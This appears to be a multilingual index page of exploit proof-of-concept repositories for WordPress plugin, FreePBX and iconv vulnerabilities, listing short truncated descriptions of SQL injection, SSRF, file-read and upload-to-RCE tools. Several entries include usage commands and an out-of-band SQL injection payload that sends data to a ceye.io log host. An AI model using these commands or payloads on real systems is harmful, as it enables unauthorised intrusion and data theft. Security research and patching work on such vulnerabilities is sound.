CVE-2022-1386-FusionBuilder-SSRF

CVE-2022-1386 – Fusion Builder Exemple : python3 exploitcve20221386.py https://vulnerable.site https://abc123.oast.fun Utilisez Interact.sh ou Burp Collaborator pour recevoir le callback. 📋 Exemple de sortie Fetching nonce from target... Sending SSRF payload to https://abc123.oast.fun... + SSRF...

CVE-2022-0169

CVE-2022-0169 — PoC d'injection SQL pour WordPress Photo Gallery Ceci est une simple preuve de concept PoC en Python pour CVE-2022-0169 , une vulnérabilité d'injection SQL dans le plugin WordPress Photo Gallery. Ce qu'il fait Vérifie la version de WordPress si disponible Exploite le point de...

CVE-2025-2539

CVE-2025-2539 - WordPress File Away = 3.9.9.0.1 - Произвольное чтение файлов 🔥 Сводка об уязвимости Плагин WordPress File Away версии = 3.9.9.0.1 подвержен уязвимости неавторизованного чтения произвольных файлов. Это позволяет атакующим читать любые файлы на сервере, например wp-config.php, с...

SSI-CVE-2022-21661

SSI-CVE-2022-21661 Второе задание по безопасности информационных систем Изучение и эксплуатация уязвимости CVE-2022-21661, которая позволяет выполнять SQL-инъекции через POST-запросы плагинов в версиях WordPress ниже 5.8.3. Настройка окружения Чтобы запустить и настроить окружение, просто...

CVE-2024-2961

Buddyforms 2.7.7 CNEXT RCE Эксплуатация CVE-2024-2961 и CVE-2023–26326 для получения RCE Использование git-clone https://github.com/suce0155/CVE-2024-2961buddyforms2.7.7 pip install -r requirements.txt python3 buddyforms2.7.7cnextexploit.py http://site/wp-admin/admin-ajax.php ip port Анализ и...

CVE-2022-1386

CVE-2022-1386 - Fusion Builder 3.6.2 - Неаутентифицированный SSRF Описание Fusion Builder — это плагин WordPress, который позволяет пользователям создавать и редактировать страницы с помощью интерфейса перетаскивания. Он уязвим для неаутентифицированного SSRF, позволяющего злоумышленнику читать...

typehub-exploiter

typehub-exploiter GILANG - Эксплойт для CVE-2021-25094 Ссылка : https://darkpills.com/wordpress-tatsu-builder-preauth-rce-cve-2021-25094/ пейлоад : site.com/wp-admin/admin-ajax.php путь уязвимости : site.com/wp-content/uploads/typehub/custom/ Благодарности : Ibnudz, Dark clown security Привет :...

CVE-2024-2961-Remote-File-Read

CVE-2024-2961 Lecture de fichier distant Ce script montre comment exploiter une vulnérabilité dans les systèmes utilisant la bibliothèque iconv lorsqu'elle gère mal les conversions d'encodage de caractères, comme décrit dans CVE-2024-2961. Cela permet à un attaquant de lire des fichiers arbitrair...

CVE-2022-28590

CVE-2022-28590 La découverte originale et le PoC manuel proviennent de tuando243 : Une vulnérabilité d'exécution de code à distance RCE existe dans Pixelimity 1.0 via admin/admin-ajax.php?action=installtheme. Ce PoC télécharge un webshell simple pour une exécution de code à distance ultérieure. C...

cve-2025-1323

cve-2025-1323 Injection SQL dans le plugin WP-Recall ⚠️ Avis de non-responsabilité légal Cet outil est destiné à des tests de sécurité autorisés et à des fins éducatives uniquement. Ne pas utiliser contre des systèmes sans autorisation explicite. Une mauvaise utilisation peut être illégale. ✅...

wordpress-CVE-2022-21661

wordpress-CVE-2022-21661 version5.8.3 경로：http://your target/wp-admin/admin-ajax.php 주입 유형은 out-of-band이며, dnslog를 직접 지정하고 ceye.io를 대체해야 합니다. POST- 데이터："taxquery":"field":"termtaxonomyid","terms":"1 and ifselect loadfileconcat'\',select version,'.27s601.ceye.io\abc',1,1-- a"...

CVE-2026-6433

CVE-2026-6433 — Доказательство концепции FlipperCode — Custom CSS, JS & PHP · Неаутентифицированная SQL-инъекция → RCE через eval Затронуто: FlipperCode Custom CSS, JS & PHP ≤ 2.0.7 · поверхность атаки плагина WordPress через admin-ajax.php Краткий обзор Пункт| Описание ---|--- Вектор|...

CVE-2025-57819_FreePBX

🛡️ CVE-2025-57819 – Неаутентифицированная SQL-инъекция в FreePBX, приводящая к RCE PoC Этот репозиторий содержит два Python-скрипта Proof-of-Concept PoC, нацеленных на CVE-2025-57819 — критическую неаутентифицированную уязвимость SQL-инъекции в FreePBX. 🧠 Об уязвимости CVE-2025-57819 CVE-2025-5781...

CVE-2021-24762

Обзор Этот репозиторий документирует обнаружение CVE-2021-24762, уязвимости, выявленной на экземпляре WordPress с помощью HTTP-сканирования. Уязвимость была обнаружена на AJAX-эндпоинте WordPress: /wp-admin/admin-ajax.php Этот эндпоинт часто используется плагинами и темами WordPress для обработки...

CVE-2024-50450

CVE-2024-50450 WordPress Meta Data and Taxonomies Filter MDTF = 1.3.3.4 - Exécution non authentifiée de shortcodes arbitraires Description: Le plugin MDTF – Meta Data and Taxonomies Filter pour WordPress est vulnérable à l'exécution arbitraire de shortcodes dans toutes les versions jusqu'à la...

0-click-RCE-Exploit-for-CVE-2024-51793

CVE-2024-51793 / 0-Click RCE Exploit Автор: Joshua Provoste https://x.com/JoshuaProvoste/status/1858668072279626138 Этот репозиторий содержит proof-of-concept эксплойт для CVE-2024-51793 — уязвимости произвольной загрузки файлов без аутентификации в уязвимом плагине WordPress, приводящей к...

CVE-2024-52430

CVE-2024-52430 Lis Video Gallery = 0.2.1 - Injection d'objets PHP non authentifiée Description Le plugin Lis Video Gallery pour WordPress est vulnérable à l'injection d'objets PHP dans les versions jusqu'à la 0.2.1 incluse, via la désérialisation d'entrées non fiables. Cela permet à des attaquant...

CVE-2026-18143

CVE-2026-18143 — Request a Quote for WooCommerce Addify Произвольная загрузка файлов Python 3 PoC для CVE-2026-18143 в Request a Quote for WooCommerce woocommerce-request-a-quote, Addify / WooCommerce.com. Описание PoCbit / GitHub CVE-2026-18143 — Request a Quote for WooCommerce ≤ 2.9.2 позволяет...

CVE-2026-27540

🌐 Language / Dil 📌 Özet WooCommerce Wholesale Lead Capture WWLC — Kimlik doğrulamasız dosya yükleme → RCE | ---|--- Ürün| WooCommerce Wholesale Lead Capture — wwlc eklentisi Sürüm| ≤ 2.0.3.1 Fixed| 2.0.3.2+ — upload handler korumalı Auth| Unauthenticated Vektör|...

CVE-2026-89055

CVE-2026-89055 — Customer Reviews for WooCommerce CusRev обход авторизации Python 3 PoC для CVE-2026-89055 в Customer Reviews for WooCommerce customer-reviews-woocommerce / Ivole CusRev. Описание PoCbit / GitHub CVE-2026-89055 — Customer Reviews for WooCommerce CusRev ≤ 5.120.0 уязвим к отсутстви...